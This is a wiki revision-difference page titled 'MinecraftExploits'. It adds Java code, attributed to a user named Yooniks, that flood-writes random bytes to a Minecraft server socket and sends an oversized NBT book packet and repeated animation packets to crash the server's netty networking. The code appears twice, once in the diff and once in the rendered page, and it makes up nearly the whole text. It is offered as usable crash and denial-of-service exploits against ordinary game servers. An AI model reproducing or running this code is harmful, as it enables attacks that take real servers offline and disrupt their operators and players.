Difference between revisions of "MinecraftExploits"

From wiki.vg
Jump to navigation Jump to search
Line 6: Line 6:
  
  
== Pseudo Code ==
+
== NullPing ==
 +
NullPing is just a random bytes sent to the server.
 
<syntaxhighlight lang="java">
 
<syntaxhighlight lang="java">
// kod
+
/**
 +
* @author Yooniks
 +
**/
 +
public static void nullPing(final String ip, final int port, final int amount) {
 +
    try {
 +
        final Socket socket = new Socket(ip, port);
 +
        for(int i = 0; i < amount; ++i) {
 +
            socket.getOutputStream().write(ThreadLocalRandom.current().nextInt(255));
 +
        }
 +
    }catch (final Exception e) {}
 +
}
 +
</syntaxhighlight>
 +
 
 +
 
 +
== PacketSpam ==
 +
Sending a lot of big packets in a short space time causes netty crash.
 +
<syntaxhighlight lang="java">
 +
/**
 +
* @author Yooniks
 +
**/
 +
public static void sendCrash() {
 +
    try {
 +
        final ItemStack itemStack = new ItemStack(Items.writable_book);
 +
        final NBTTagList pages = new NBTTagList();
 +
        final NBTTagString pageContent = new NBTTagString("3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j");
 +
 
 +
        for (int i = 0; i < 100; i++) {
 +
            pages.appendTag(pageContent);
 +
        }
 +
 
 +
        final NBTTagCompound compound = new NBTTagCompound();
 +
        compound.setString("title", "Yooniks idiot XD");
 +
        compound.setTag("pages", pages);
 +
 
 +
        itemStack.setTagCompound(compound);
 +
        itemStack.setTagInfo("pages", pageContent);
 +
 
 +
        mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(itemStack));
 +
    }catch (final Exception e) {}
 +
}
 +
</syntaxhighlight>
 +
 
 +
 
 +
== PacketSpam ==
 +
Sending a lot of packets in a short space time, causes that netty can't handle it.
 +
<syntaxhighlight lang="java">
 +
/**
 +
* @author Yooniks
 +
**/
 +
public static void sendCrash() {
 +
    try {
 +
        mc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());
 +
    }catch (final Exception e) {}
 +
}
 
</syntaxhighlight>
 
</syntaxhighlight>

Revision as of 19:17, 7 September 2020

This page documents the minecraft exploits.

Contents


NullPing

NullPing is just a random bytes sent to the server.

/**
* @author Yooniks
**/
public static void nullPing(final String ip, final int port, final int amount) {
    try {
        final Socket socket = new Socket(ip, port);
        for(int i = 0; i < amount; ++i) {
            socket.getOutputStream().write(ThreadLocalRandom.current().nextInt(255));
        }
    }catch (final Exception e) {}
}


PacketSpam

Sending a lot of big packets in a short space time causes netty crash.

/**
* @author Yooniks
**/
public static void sendCrash() {
    try {
        final ItemStack itemStack = new ItemStack(Items.writable_book);
        final NBTTagList pages = new NBTTagList();
        final NBTTagString pageContent = new NBTTagString("3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j");

        for (int i = 0; i < 100; i++) {
            pages.appendTag(pageContent);
        }

        final NBTTagCompound compound = new NBTTagCompound();
        compound.setString("title", "Yooniks idiot XD");
        compound.setTag("pages", pages);

        itemStack.setTagCompound(compound);
        itemStack.setTagInfo("pages", pageContent);

        mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(itemStack));
    }catch (final Exception e) {}
}


PacketSpam

Sending a lot of packets in a short space time, causes that netty can't handle it.

/**
* @author Yooniks
**/
public static void sendCrash() {
    try {
        mc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());
    }catch (final Exception e) {}
}